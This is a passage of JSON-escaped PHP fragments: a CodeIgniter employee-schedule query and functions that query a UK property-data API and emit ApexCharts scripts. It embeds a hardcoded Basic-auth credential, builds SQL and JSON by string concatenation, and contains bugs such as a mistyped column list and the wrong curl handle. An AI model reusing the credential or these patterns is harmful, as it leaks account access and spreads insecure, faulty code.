NULL\";\n\t\t\t\t$this->db->where($where);\n\n\t\t\t}elseif($dayOfWeek==\"Sunday\"){\n\t\t\t\t$this->db->select('a.sun as the_day,v.*');\n\t\t\t\t$where = \"a.thu is NOT NULL\";\n\t\t\t\t$this->db->where($where);\n\n\t\t\t}else{\n\t\t\t\t//\n\t\t\t}\n\n\t\t\t$this->db->where('a.InActive','0');\n\t\t\t$this->db->join(\"admin_emp_masterlist_view v\", \"a.employee_id = v.employee_id\", \"inner\");\n\t\t\t$this->db->from('fixed_working_schedule_members a'); \n\n\t\t}\n\t\telse if($type=='double')\n\t\t{ \n\t\t\t$full_date=$yy.\"-\".$mm.\"-\".$dd;\n\t\t\t$dayOfWeek = date(\"l\", strtotime($full_date));\n\n\t\t\t$get_this_data=\"\n\t\t\t\t\ta.system_user,a.date_added,a.last_update,a.mon,a.tue,a.wed,a.thu,a.fri,a.sat.a.sun,\n\t\t\t\t\tv.employee_id,\n\t\t\t\t\tv.name,\n\t\t\t\t\tv.first_name,\n\t\t\t\t\tv.middle_name,\n\t\t\t\t\tv.last_name,\n\t\t\t\t\tv.name_extension,\n\t\t\t\t\tv.company_id,\n\t\t\t\t\tv.company_name,\n\t\t\t\t\tv.wDivision,\n\t\t\t\t\tv.location_name,\n\t\t\t\t\tv.division_name,\n\t\t\t\t\tv.dept_name,\n\t\t\t\t\tv.section_name,\n\t\t\t\t\tv.subsection_name,\n\t\t\t\t\tv.classification_name as classification,\n\t\t\t\t\tv.taxcode_name,\n\t\t\t\t\tv.civil_status_name,\n\t\t\t\t\tv.employment_name,\n\t\t\t\t\tv.pay_type_name,\n\t\t\t\t\tv.gender_name\";\t\n\n\t\t\t$this->db->where('a.InActive','0');\n\t\t\t$this->db->join(\"admin_emp_masterlist_view v\", \"a.employee_id = v.employee_id\", \"inner\");\n\t\t\t$this->db->from('fixed_working_schedule_members a'); \n\t\t\t\n\t\t}\n\t\telse if($type=='single_pp')\n\t\t{ //$payroll_period\n\t\t\n\t\t}\n\t\t$this->db->where(\"(\".$location_final.\" AND \".$classification_final.\" AND \".$employment_final.\" )\");\n\t\t//$this->db->order_by('date','asc');\n\t\t$query = $this->db->get();\n\t\treturn $query->result();\n\t}", "public static function MortgageAffordabilityUK($locationId,$datefilter1,$datefilter2,$GraphDtl =\"\")\n {\n \t\n \t if($GraphDtl == \"MortgageAffordability\"){\n \t \n \t $GraphDtlId = \"526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544\";\n \t $DateId = \"526\";\n \t \n \t }elseif($GraphDtl == \"IncomeAge\")\n \t {\n \t \n \t $GraphDtlId = \"437,438,439,440,441,442,443,444,445,446,447,448,449\";\n \t $DateId = \"437\";\n \t }\n \t\n \t \n \t\tself::Init(); \n \n \t\t$FinalStr\t\t= \"\";\n \t\t$AllArray = array(); \n \t\t$TempArr1 = array();\n \t\t$TempArr2 = array();\n \t\t\n \t\t$FromDate = \\api\\apiClass::convertDate($datefilter1, \"%Y-%m\");\n \t\t$ToDate = \\api\\apiClass::convertDate($datefilter2, \"%Y-%m\");\n\n \n $encodedAuth = \"TnpBd09qSTVZbVV6WW1aaFltSTNZMkkzTVRKaVl6a3dOMlU1TWpCak9EQmhaV1poOg==\";\n $curl = curl_init();\n $Url = \"https://api.realyse.com/v1/demographics/features\";\n \n $ch = curl_init();\n \n curl_setopt($ch, CURLOPT_URL, $Url );\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );\n curl_setopt($ch, CURLOPT_POST, 1 );\n //curl_setopt($ch, CURLOPT_POSTFIELDS, \"{\\\"areaName\\\":\\\"London\\\",\\\"mode\\\":\\\"Postcode\\\" }\" ); \n curl_setopt($ch, CURLOPT_POSTFIELDS, \"{\\r\\n \\\"indicators\\\": [\\r\\n \".$GraphDtlId.\"\\r\\n ],\\r\\n \\\"dateFrom\\\": \\\"{$FromDate}\\\",\\r\\n \\\"dateTo\\\": \\\"{$ToDate}\\\",\\r\\n \\\"areaIds\\\": [\\r\\n \\\"{$locationId}\\\"\\r\\n ]\\r\\n}\" ); \n curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json', \"Authorization: Basic \". $encodedAuth , 'Content-Type: text/plain'));\n //curl_setopt($ch, CURLOPT_HTTPHEADER, array(\"Authorization: Basic \". $encodedAuth, 'Content-Type: text/plain')); \n \n $response = curl_exec ($ch);\n $err = curl_error($curl);\n \n curl_close($curl);\n \n \n if ($err) {\n $RetArr = array(); \n \n } else {\n \n \n $RetDecode = json_decode($response); \n \n //echo '<pre>'; print_r($RetDecode); echo '</pre>';\n // exit;\n \n $SuggestArr = array();\n \n $indicatorIdTemp = \"\";\n $valueTemp = \"\";\n \n $MortgageAffordability1Bed1EarnerTemp = \"\";\n $MortgageAffordability1Bed2EarnerTemp = \"\";\n $MortgageAffordability2Bed1EarnerTemp = \"\";\n $MortgageAffordability2Bed2EarnerTemp = \"\";\n $MortgageAffordability2Bed3EarnerTemp = \"\";\n $MortgageAffordability2Bed4EarnerTemp = \"\";\n $MortgageAffordability3Bed1EarnerTemp = \"\";\n $MortgageAffordability3Bed2EarnerTemp = \"\";\n $MortgageAffordability3Bed4EarnerTemp = \"\";\n $MortgageAffordability3Bed4EarnerTemp = \"\";\n $MortgageAffordability3Bed5EarnerTemp = \"\";\n $MortgageAffordability4Bed2EarnerTemp = \"\";\n $MortgageAffordability4Bed3EarnerTemp = \"\";\n $MortgageAffordability4Bed4EarnerTemp = \"\";\n $MortgageAffordability4Bed5EarnerTemp = \"\";\n $MortgageAffordability5Bed2EarnerTemp = \"\";\n $MortgageAffordability5Bed3EarnerTemp = \"\";\n $MortgageAffordability5Bed4EarnerTemp = \"\";\n $MortgageAffordability5Bed5EarnerTemp = \"\";\n \n $IncomeAgeLess20Temp \t= \"\";\n $IncomeAgeBet2024Temp\t= \"\";\n $IncomeAgeBet2529Temp\t= \"\";\n $IncomeAgeBet3034Temp\t= \"\";\n $IncomeAgeBet3539Temp\t= \"\";\n $IncomeAgeBet4044Temp\t= \"\";\n $IncomeAgeBet4549Temp\t= \"\";\n $IncomeAgeBet5054Temp\t= \"\";\n $IncomeAgeBet5559Temp\t= \"\";\n $IncomeAgeBet6064Temp\t= \"\";\n $IncomeAgeBet6569Temp\t= \"\";\n $IncomeAgeBet7074Temp\t= \"\";\n $IncomeAgeGreater75Temp\t= \"\";\n \n \n $OtherQualificationsTemp =\"\";\n $NoQualificationsTemp =\"\";\n $dateToTemp = \"\";\n $indicatorId = \"\";\n \n foreach($RetDecode->data as $RetArr1)\n {\n \n $indicatorId = $RetArr1->indicatorId;\n $value = $RetArr1->feature->v;\n $dateTo = $RetArr1->dateTo;\n $dateTo = $RetArr1->dateTo;\n \n if ($indicatorId == $DateId){\n \n if ( $dateToTemp == \"\" ){\n $dateToTemp = $dateTo;\n \n }else{\n $dateToTemp = $dateToTemp .\"' , '\". $dateTo;\n }\n \n }\n \n //526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544\n \n \n \n if($GraphDtl == \"MortgageAffordability\")\n {\n \n if ($indicatorId == \"526\"){\n $indicatorName = \"MortgageAffordability1Bed1Earner\";\n \n if ( $MortgageAffordability1Bed1EarnerTemp == \"\" ){\n $MortgageAffordability1Bed1EarnerTemp = $value;\n \n }else{\n $MortgageAffordability1Bed1EarnerTemp = $MortgageAffordability1Bed1EarnerTemp .\",\". $value;\n }\n \n \n }else if ($indicatorId == \"527\"){\n \n $indicatorName = \"MortgageAffordability1Bed2Earner\";\n \n if ( $MortgageAffordability1Bed2EarnerTemp == \"\" ){\n $MortgageAffordability1Bed2EarnerTemp = $value;\n \n }else{\n $MortgageAffordability1Bed2EarnerTemp = $MortgageAffordability1Bed2EarnerTemp .\",\". $value;\n }\n \n \n }else if ($indicatorId == \"528\"){\n \n $indicatorName = \"MortgageAffordability2Bed1Earner\";\n \n if ( $MortgageAffordability2Bed1EarnerTemp == \"\" ){\n $MortgageAffordability2Bed1EarnerTemp = $value;\n \n }else{\n $MortgageAffordability2Bed1EarnerTemp = $MortgageAffordability2Bed1EarnerTemp .\",\". $value;\n }\n \n \n }else if ($indicatorId == \"529\"){\n $indicatorName = \"MortgageAffordability2Bed2Earner\"; \n \n if ( $MortgageAffordability2Bed2EarnerTemp == \"\" ){\n $MortgageAffordability2Bed2EarnerTemp = $value;\n \n }else{\n $MortgageAffordability2Bed2EarnerTemp = $MortgageAffordability2Bed2EarnerTemp .\",\". $value;\n }\n \n }else if ($indicatorId == \"530\"){\n $indicatorName = \"MortgageAffordability2Bed3Earner\"; \n \n \n if ( $MortgageAffordability2Bed3EarnerTemp == \"\" ){\n $MortgageAffordability2Bed3EarnerTemp = $value;\n \n }else{\n $MortgageAffordability2Bed3EarnerTemp = $MortgageAffordability2Bed3EarnerTemp .\",\". $value;\n }\n \n }else if ($indicatorId == \"531\"){\n $indicatorName = \"MortgageAffordability2Bed4Earner\"; \n \n if ( $MortgageAffordability2Bed4EarnerTemp == \"\" ){\n $MortgageAffordability2Bed4EarnerTemp = $value;\n \n }else{\n $MortgageAffordability2Bed4EarnerTemp = $MortgageAffordability2Bed4EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"532\"){\n $indicatorName = \"MortgageAffordability3Bed1Earner\"; \n \n if ( $MortgageAffordability3Bed1EarnerTemp == \"\" ){\n $MortgageAffordability3Bed1EarnerTemp = $value;\n \n }else{\n $MortgageAffordability3Bed1EarnerTemp = $MortgageAffordability3Bed1EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"533\"){\n $indicatorName = \"MortgageAffordability3Bed2Earner\"; \n \n if ( $MortgageAffordability3Bed2EarnerTemp == \"\" ){\n $MortgageAffordability3Bed2EarnerTemp = $value;\n \n }else{\n $MortgageAffordability3Bed2EarnerTemp = $MortgageAffordability3Bed2EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"534\"){\n $indicatorName = \"MortgageAffordability3Bed3Earner\"; \n \n if ( $MortgageAffordability3Bed3EarnerTemp == \"\" ){\n $MortgageAffordability3Bed3EarnerTemp = $value;\n \n }else{\n $MortgageAffordability3Bed3EarnerTemp = $MortgageAffordability3Bed3EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"535\"){\n $indicatorName = \"MortgageAffordability3Bed4Earner\"; \n \n if ( $MortgageAffordability3Bed4EarnerTemp == \"\" ){\n $MortgageAffordability3Bed4EarnerTemp = $value;\n \n }else{\n $MortgageAffordability3Bed4EarnerTemp = $MortgageAffordability3Bed4EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"536\"){\n $indicatorName = \"MortgageAffordability3Bed5Earner\"; \n \n if ( $MortgageAffordability3Bed5EarnerTemp == \"\" ){\n $MortgageAffordability3Bed5EarnerTemp = $value;\n \n }else{\n $MortgageAffordability3Bed5EarnerTemp = $MortgageAffordability3Bed5EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"537\"){\n $indicatorName = \"MortgageAffordability4Bed2Earner\"; \n \n if ( $MortgageAffordability4Bed2EarnerTemp == \"\" ){\n $MortgageAffordability4Bed2EarnerTemp = $value;\n \n }else{\n $MortgageAffordability4Bed2EarnerTemp = $MortgageAffordability4Bed2EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"538\"){\n $indicatorName = \"MortgageAffordability4Bed3Earner\"; \n \n if ( $MortgageAffordability4Bed3EarnerTemp == \"\" ){\n $MortgageAffordability4Bed3EarnerTemp = $value;\n \n }else{\n $MortgageAffordability4Bed3EarnerTemp = $MortgageAffordability4Bed3EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"539\"){\n $indicatorName = \"MortgageAffordability4Bed4Earner\"; \n \n if ( $MortgageAffordability4Bed4EarnerTemp == \"\" ){\n $MortgageAffordability4Bed4EarnerTemp = $value;\n \n }else{\n $MortgageAffordability4Bed4EarnerTemp = $MortgageAffordability4Bed4EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"540\"){\n $indicatorName = \"MortgageAffordability4Bed5Earner\"; \n \n if ( $MortgageAffordability4Bed5EarnerTemp == \"\" ){\n $MortgageAffordability4Bed5EarnerTemp = $value;\n \n }else{\n $MortgageAffordability4Bed5EarnerTemp = $MortgageAffordability4Bed5EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"541\"){\n $indicatorName = \"MortgageAffordability5Bed2Earner\"; \n \n if ( $MortgageAffordability5Bed2EarnerTemp == \"\" ){\n $MortgageAffordability5Bed2EarnerTemp = $value;\n \n }else{\n $MortgageAffordability5Bed2EarnerTemp = $MortgageAffordability5Bed2EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"542\"){\n $indicatorName = \"MortgageAffordability5Bed3Earner\"; \n \n if ( $MortgageAffordability5Bed3EarnerTemp == \"\" ){\n $MortgageAffordability5Bed3EarnerTemp = $value;\n \n }else{\n $MortgageAffordability5Bed3EarnerTemp = $MortgageAffordability5Bed3EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"543\"){\n $indicatorName = \"MortgageAffordability5Bed4Earner\"; \n \n if ( $MortgageAffordability5Bed4EarnerTemp == \"\" ){\n $MortgageAffordability5Bed4EarnerTemp = $value;\n \n }else{\n $MortgageAffordability5Bed4EarnerTemp = $MortgageAffordability5Bed4EarnerTemp .\",\". $value;\n }\n }else if ($indicatorId == \"544\"){\n $indicatorName = \"MortgageAffordability5Bed5Earner\"; \n \n if ( $MortgageAffordability5Bed5EarnerTemp == \"\" ){\n $MortgageAffordability5Bed5EarnerTemp = $value;\n \n }else{\n $MortgageAffordability5Bed5EarnerTemp = $MortgageAffordability5Bed5EarnerTemp .\",\". $value;\n }\n }\n \n }\n \n //437,438,439,440,441,442,443,444,445,446,447,448,449\n \n if($GraphDtl == \"IncomeAge\")\n {\n \n if ($indicatorId == \"437\"){\n $indicatorName = \"IncomeAge<20\";\n \n if ( $IncomeAgeLess20Temp == \"\" ){\n $IncomeAgeLess20Temp = $value;\n \n }else{\n $IncomeAgeLess20Temp = $IncomeAgeLess20Temp .\",\". $value;\n }\n \n \n }else if ($indicatorId == \"438\"){\n \n $indicatorName = \"IncomeAgeBet2024\";\n \n if ( $IncomeAgeBet2024Temp == \"\" ){\n $IncomeAgeBet2024Temp = $value;\n \n }else{\n $IncomeAgeBet2024Temp = $IncomeAgeBet2024Temp .\",\". $value;\n }\n \n \n }else if ($indicatorId == \"439\"){\n \n $indicatorName = \"IncomeAgeBet2529\";\n \n if ( $IncomeAgeBet2529Temp == \"\" ){\n $IncomeAgeBet2529Temp = $value;\n \n }else{\n $IncomeAgeBet2529Temp = $IncomeAgeBet2529Temp .\",\". $value;\n }\n \n \n }else if ($indicatorId == \"440\"){\n $indicatorName = \"IncomeAgeBet3034\"; \n \n if ( $IncomeAgeBet3034Temp == \"\" ){\n $IncomeAgeBet3034Temp = $value;\n \n }else{\n $IncomeAgeBet3034Temp = $IncomeAgeBet3034Temp .\",\". $value;\n }\n \n }else if ($indicatorId == \"441\"){\n $indicatorName = \"IncomeAgeBet3539\"; \n \n \n if ( $IncomeAgeBet3539Temp == \"\" ){\n $IncomeAgeBet3539Temp = $value;\n \n }else{\n $IncomeAgeBet3539Temp = $IncomeAgeBet3539Temp .\",\". $value;\n }\n \n }else if ($indicatorId == \"442\"){\n $indicatorName = \"IncomeAgeBet4044\"; \n \n if ( $IncomeAgeBet4044Temp == \"\" ){\n $IncomeAgeBet4044Temp = $value;\n \n }else{\n $IncomeAgeBet4044Temp = $IncomeAgeBet4044Temp .\",\". $value;\n }\n }else if ($indicatorId == \"443\"){\n $indicatorName = \"IncomeAgeBet4549\"; \n \n if ( $IncomeAgeBet4549Temp == \"\" ){\n $IncomeAgeBet4549Temp = $value;\n \n }else{\n $IncomeAgeBet4549Temp = $IncomeAgeBet4549Temp .\",\". $value;\n }\n }else if ($indicatorId == \"444\"){\n $indicatorName = \"IncomeAgeBet5054\"; \n \n if ( $IncomeAgeBet5054Temp == \"\" ){\n $IncomeAgeBet5054Temp = $value;\n \n }else{\n $IncomeAgeBet5054Temp = $IncomeAgeBet5054Temp .\",\". $value;\n }\n }else if ($indicatorId == \"445\"){\n $indicatorName = \"IncomeAgeBet5559\"; \n \n if ( $IncomeAgeBet5559Temp == \"\" ){\n $IncomeAgeBet5559Temp = $value;\n \n }else{\n $IncomeAgeBet5559Temp = $IncomeAgeBet5559Temp .\",\". $value;\n }\n }else if ($indicatorId == \"446\"){\n $indicatorName = \"IncomeAgeBet6064\"; \n \n if ( $IncomeAgeBet6064Temp == \"\" ){\n $IncomeAgeBet6064Temp = $value;\n \n }else{\n $IncomeAgeBet6064Temp = $IncomeAgeBet6064Temp .\",\". $value;\n }\n }else if ($indicatorId == \"447\"){\n $indicatorName = \"IncomeAgeBet6569\"; \n \n if ( $IncomeAgeBet6569Temp == \"\" ){\n $IncomeAgeBet6569Temp = $value;\n \n }else{\n $IncomeAgeBet6569Temp = $IncomeAgeBet6569Temp .\",\". $value;\n }\n }else if ($indicatorId == \"448\"){\n $indicatorName = \"IncomeAgeBet7074\"; \n \n if ( $IncomeAgeBet7074Temp == \"\" ){\n $IncomeAgeBet7074Temp = $value;\n \n }else{\n $IncomeAgeBet7074Temp = $IncomeAgeBet7074Temp .\",\". $value;\n }\n }else if ($indicatorId == \"449\"){\n $indicatorName = \"IncomeAgeGreater75\"; \n \n if ( $IncomeAgeGreater75Temp == \"\" ){\n $IncomeAgeGreater75Temp = $value;\n \n }else{\n $IncomeAgeGreater75Temp = $IncomeAgeGreater75Temp .\",\". $value;\n }\n }\n \n }\n \n $preindicatorId = $indicatorId;\n \n }\n //echo \"hii\" .$indicatorIdTemp;\n // exit();\n // $FinalArr = array(\"indicatorId\" => $TempArr1, \"value\" => $TempArr2); \n \n } \n \n /* \n $GraphDtlIdNew = explode(\",\",$GraphDtlId);\n \n $GraphArrayTemp = \"[\";\n foreach($GraphDtlIdNew as $GraphSrc){\n \n \n if($GraphArrayTemp == \"[\"){\n \n $GraphArrayTemp = \"{ name: '1 Bed 1 Earner', data: [\".$MortgageAffordability1Bed1EarnerTemp.\"] },\";\n \n }else{\n \n \n }\n \n }\n */\n \n \n \n \t\t//$Categories = \"'\" .$dateToTemp. \"'\"; \n //$indicatorIdTemp = \"'\" . $indicatorIdTemp . \"'\"; \n \n \n if($GraphDtl == \"MortgageAffordability\")\n {\n \t\t$FinalStr = \"<script>//\n var options = {\n series: [{\n name: '1 Bed 1 Earner',\n data: [\".$MortgageAffordability1Bed1EarnerTemp.\"]\n }, {\n name: '1 Bed 2 Earners',\n data: [\".$MortgageAffordability1Bed2EarnerTemp.\"]\n }, {\n name: '2 Bed 1 Earners',\n data: [\".$MortgageAffordability2Bed1EarnerTemp.\"]\n }, {\n name: '2 Bed 2 Earners',\n data: [\".$MortgageAffordability2Bed2EarnerTemp.\"]\n }, {\n name: '2 Bed 3 Earners',\n data: [\".$MortgageAffordability2Bed3EarnerTemp.\"]\n }, {\n name: '2 Bed 4 Earners',\n data: [\".$MortgageAffordability2Bed4EarnerTemp.\"]\n }, {\n name: '3 Bed 1 Earners',\n data: [\".$MortgageAffordability3Bed1EarnerTemp.\"]\n }, {\n name: '3 Bed 2 Earners',\n data: [\".$MortgageAffordability3Bed2EarnerTemp.\"]\n }, {\n name: '3 Bed 3 Earners',\n data: [\".$MortgageAffordability3Bed3EarnerTemp.\"]\n }, {\n name: '3 Bed 4 Earners',\n data: [\".$MortgageAffordability3Bed4EarnerTemp.\"]\n }, {\n name: '3 Bed 5 Earners',\n data: [\".$MortgageAffordability3Bed5EarnerTemp.\"]\n }, {\n name: '4 Bed 2 Earners',\n data: [\".$MortgageAffordability4Bed2EarnerTemp.\"]\n }, {\n name: '4 Bed 3 Earners',\n data: [\".$MortgageAffordability4Bed3EarnerTemp.\"]\n }, {\n name: '4 Bed 4 Earners',\n data: [\".$MortgageAffordability4Bed4EarnerTemp.\"]\n }, {\n name: '4 Bed 5 Earners',\n data: [\".$MortgageAffordability4Bed5EarnerTemp.\"]\n }, {\n name: '5 Bed 2 Earners',\n data: [\".$MortgageAffordability5Bed2EarnerTemp.\"]\n }, {\n name: '5 Bed 3 Earners',\n data: [\".$MortgageAffordability5Bed3EarnerTemp.\"]\n }, {\n name: '5 Bed 4 Earners',\n data: [\".$MortgageAffordability5Bed4EarnerTemp.\"]\n }, {\n name: '5 Bed 5 Earners',\n data: [\".$MortgageAffordability5Bed5EarnerTemp.\"]\n }\n ],\n chart: {\n type: 'bar',\n height: 350,\n stacked: true,\n toolbar: {\n show: true\n },\n zoom: {\n enabled: true\n }\n },\n responsive: [{\n breakpoint: 480,\n options: {\n legend: {\n position: 'bottom',\n offsetX: -10,\n offsetY: 0\n }\n }\n }],\n plotOptions: {\n bar: {\n horizontal: false,\n },\n },\n yaxis: [\n {\n axisTicks: {\n show: true\n },\n axisBorder: {\n show: true,\n color: '#3f51b5'\n },\n labels: {\n formatter: function (value) {\n return value + '%';\n },\n style: {\n color: '#3f51b5'\n }\n }\n }],\n xaxis: {\n type: 'datetime',\n categories: ['\". $dateToTemp .\"'],\n },\n tooltip: {\n followCursor: true,\n y: {\n formatter: function(y) {\n if (typeof y !== 'undefined') {\n return y + ' %';\n }\n return y;\n }\n }\n },\n legend: {\n position: 'right',\n offsetY: 40\n },\n fill: {\n opacity: 1\n }\n };\n \n var chart = new ApexCharts(document.querySelector('#MortgageAffordability'), options);\n chart.render();\n \n </script>\n \";\n }else{\n \n // echo $IncomeAgeGreater75Temp;\n //exit;\n \n \n $FinalStr = \"<script>//\n var options = {\n series: [{\n name: 'Income Age < 20',\n data: [\".$IncomeAgeLess20Temp.\"]\n }, {\n name: 'Income Age 20-24',\n data: [\".$IncomeAgeBet2024Temp.\"]\n }, {\n name: 'Income Age 25-29',\n data: [\".$IncomeAgeBet2529Temp.\"]\n }, {\n name: 'Income Age 30-34',\n data: [\".$IncomeAgeBet3034Temp.\"]\n }, {\n name: 'Income Age 35-39',\n data: [\".$IncomeAgeBet3539Temp.\"]\n }, {\n name: 'Income Age 40-44',\n data: [\".$IncomeAgeBet4044Temp.\"]\n }, {\n name: 'Income Age 45-49',\n data: [\".$IncomeAgeBet4549Temp.\"]\n }, {\n name: 'Income Age 50-54',\n data: [\".$IncomeAgeBet5054Temp.\"]\n }, {\n name: 'Income Age 55-59',\n data: [\".$IncomeAgeBet5559Temp.\"]\n }, {\n name: 'Income Age 60-64',\n data: [\".$IncomeAgeBet6064Temp.\"]\n }, {\n name: 'Income Age 65-69',\n data: [\".$IncomeAgeBet6569Temp.\"]\n }, {\n name: 'Income Age 70-74',\n data: [\".$IncomeAgeBet7074Temp.\"]\n }, {\n name: 'Income Age 75 +',\n data: [\".$IncomeAgeGreater75Temp.\"]\n }\n ],\n chart: {\n type: 'bar',\n height: 350,\n stacked: true,\n toolbar: {\n show: true\n },\n zoom: {\n enabled: true\n }\n },\n responsive: [{\n breakpoint: 480,\n options: {\n legend: {\n position: 'bottom',\n offsetX: -10,\n offsetY: 0\n }\n }\n }],\n plotOptions: {\n bar: {\n horizontal: false,\n },\n },\n yaxis: [\n {\n axisTicks: {\n show: true\n },\n axisBorder: {\n show: true,\n color: '#3f51b5'\n },\n labels: {\n formatter: function (value) {\n return '£'+ value ;\n },\n style: {\n color: '#3f51b5'\n }\n }\n }],\n xaxis: {\n type: 'datetime',\n categories: ['\". $dateToTemp .\"'],\n },\n tooltip: {\n followCursor: true,\n y: {\n formatter: function(y) {\n if (typeof y !== 'undefined') {\n return '£'+ y ;\n }\n return y;\n }\n }\n },\n legend: {\n position: 'right',\n offsetY: 40\n },\n fill: {\n opacity: 1\n }\n };\n \n var chart = new ApexCharts(document.querySelector('#IncomeAge'), options);\n chart.render();\n \n </script>\n \";\n \n }\n \t\t\t\t\n \n \t\t//echo $FinalStr; \n \t\treturn $FinalStr; \n \t}", "public static function ProductFeatureApiUkValue($RetType,$LocationId,$datasource,$BuildType,$bedrooms,$propertyType,$datefilter1,$datefilter2,$Cnt){\n\t\tself::Init(); \n\n\n\t\t$FinalStr\t\t= \"\";\n\t\t$AllArray = array(); \n\t\t$TempArr1 = array();\n\t\t$TempArr2 = array();\n\n\t\t\n $FromDate = \\api\\apiClass::convertDate($datefilter1, \"%Y-%m\");\n\t\t$ToDate = \\api\\apiClass::convertDate($datefilter2, \"%Y-%m\");\n\t\t\n\n\t\t$MainKeyword = $LocationId;\n\n\n \n $encodedAuth = \"TnpBd09qSTVZbVV6WW1aaFltSTNZMkkzTVRKaVl6a3dOMlU1TWpCak9EQmhaV1poOg==\";\n \n \n \n $curl = curl_init();\n $Url = \"https://api.realyse.com/v1/data/features\";\n \n $ch = curl_init();\n\n curl_setopt($ch, CURLOPT_URL, $Url );\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );\n curl_setopt($ch, CURLOPT_POST, 1 );\n //curl_setopt($ch, CURLOPT_POSTFIELDS, \"{\\\"areaName\\\":\\\"London\\\",\\\"mode\\\":\\\"Postcode\\\" }\" ); \n curl_setopt($ch, CURLOPT_POSTFIELDS, \"{\\n \\\"areaIds\\\": [\\n \\\"{$MainKeyword}\\\"\\n ],\\n \\\"dataset\\\": {\\n \\\"bedrooms\\\":{$bedrooms},\\n \\\"dataSource\\\": \\\"{$BuildType}\\\",\\n \\\"propertyType\\\": \\\"{$propertyType}\\\"\\n },\\n \\\"dateFrom\\\": \\\"{$FromDate}\\\",\\n \\\"dateTo\\\": \\\"{$ToDate}\\\"\\n}\" ); \n \n curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json', \"Authorization: Basic \". $encodedAuth , 'Content-Type: text/plain'));\n\n //curl_setopt($ch, CURLOPT_HTTPHEADER, array(\"Authorization: Basic \". $encodedAuth, 'Content-Type: text/plain')); \n \n $response = curl_exec ($ch);\n $err = curl_error($curl);\n \n curl_close($curl);\n \n \n if ($err) {\n $RetArr = array(); \n \n } else {\n \n //echo $response;\n // exit();\n \n //$response = arsort($response);\n \n /* $response = usort($response, function($a, $b) { //Sort the array using a user defined function\n return $a->date > $b->date ? -1 : 1; //Compare the scores\n }); \n */\n // $response = array_reverse($response);\n \n // echo \"<pre>\"; print_r($response); echo \"</pre>\";\n \n $RetDecode = json_decode($response); \n \n //echo \"<pre>\"; print_r($RetDecode); echo \"</pre>\";\n \n \n \n \n \n \n \n \n $SuggestArr = array();\n \n\n $MonthdateTemp = \"\" ;\n $sProductValTemp = \"\" ;\n foreach($RetDecode->data as $RetArr1){\n \n $MonthdateCnt = strtotime($RetArr1->date);\n $Monthdate = date('M-Y', $MonthdateCnt);\n \n if( $datasource == \"Discnt\"){\n $sProductVal = $RetArr1->sDiscount->v;\n $NinthPercentile = $RetArr1->sDiscount->p90;\n $UpperQuartile = $RetArr1->sDiscount->p75;\n $Median = $RetArr1->sDiscount->v;\n $LowerQuartile = $RetArr1->sDiscount->p25;\n $Supply = $RetArr1->sDiscount->hr;\n $ProductName = \"Average Discount (Sales)\";\n }\n \n if( $datasource == \"GrsYld\"){\n $sProductVal = $RetArr1->yield->v;\n $NinthPercentile = $RetArr1->yield->p90;\n $UpperQuartile = $RetArr1->yield->p75;\n $Median = $RetArr1->yield->v;\n $LowerQuartile = $RetArr1->yield->p25;\n $Supply = $RetArr1->yield->hr;\n $ProductName = \"Average Gross Yield Per Month\";\n }\n \n if( $datasource == \"PriAsk\"){\n $sProductVal = $RetArr1->sPriceAsked->v;\n $NinthPercentile = $RetArr1->sPriceAsked->p90;\n $UpperQuartile = $RetArr1->sPriceAsked->p75;\n $Median = $RetArr1->sPriceAsked->v;\n $LowerQuartile = $RetArr1->sPriceAsked->p25;\n $Supply = $RetArr1->sPriceAsked->hr;\n $ProductName = \"Average Asking Price (Sales)\";\n }\n \n if( $datasource == \"RentAsk\"){\n $sProductVal = $RetArr1->rRentAsked->v;\n $NinthPercentile = $RetArr1->rRentAsked->p90;\n $UpperQuartile = $RetArr1->rRentAsked->p75;\n $Median = $RetArr1->rRentAsked->v;\n $LowerQuartile = $RetArr1->rRentAsked->p25;\n $Supply = $RetArr1->rRentAsked->hr;\n $ProductName = \"Average Asking Monthly Rental\";\n }\n \n if( $datasource == \"sqfiRent\"){\n $sProductVal = $RetArr1->rPricePerSqft->v;\n $NinthPercentile = $RetArr1->rPricePerSqft->p90;\n $UpperQuartile = $RetArr1->rPricePerSqft->p75;\n $Median = $RetArr1->rPricePerSqft->v;\n $LowerQuartile = $RetArr1->rPricePerSqft->p25;\n $Supply = $RetArr1->rPricePerSqft->hr;\n $ProductName = \"Average Annual Asking Rent £ per ft²\";\n }\n \n if( $datasource == \"sqfiSales\"){\n $sProductVal = $RetArr1->sPricePerSqft->v;\n $NinthPercentile = $RetArr1->sPricePerSqft->p90;\n $UpperQuartile = $RetArr1->sPricePerSqft->p75;\n $Median = $RetArr1->sPricePerSqft->v;\n $LowerQuartile = $RetArr1->sPricePerSqft->p25;\n $Supply = $RetArr1->sPricePerSqft->hr;\n $ProductName = \"Average Asking Price £ per ft² (Sales)\";\n }\n \n if( $datasource == \"PriPaid\"){\n $sProductVal = $RetArr1->sPricePaid->v;\n $NinthPercentile = $RetArr1->sPricePaid->p90;\n $UpperQuartile = $RetArr1->sPricePaid->p75;\n $Median = $RetArr1->sPricePaid->v;\n $LowerQuartile = $RetArr1->sPricePaid->p25;\n $Supply = $RetArr1->sPricePaid->hr;\n $ProductName = \"Average Price Paid (Sales)\";\n }\n \n if( $datasource == \"DaysMarRent\"){\n $sProductVal = $RetArr1->rDaysOnMarket->v;\n $NinthPercentile = $RetArr1->rDaysOnMarket->p90;\n $UpperQuartile = $RetArr1->rDaysOnMarket->p75;\n $Median = $RetArr1->rDaysOnMarket->v;\n $LowerQuartile = 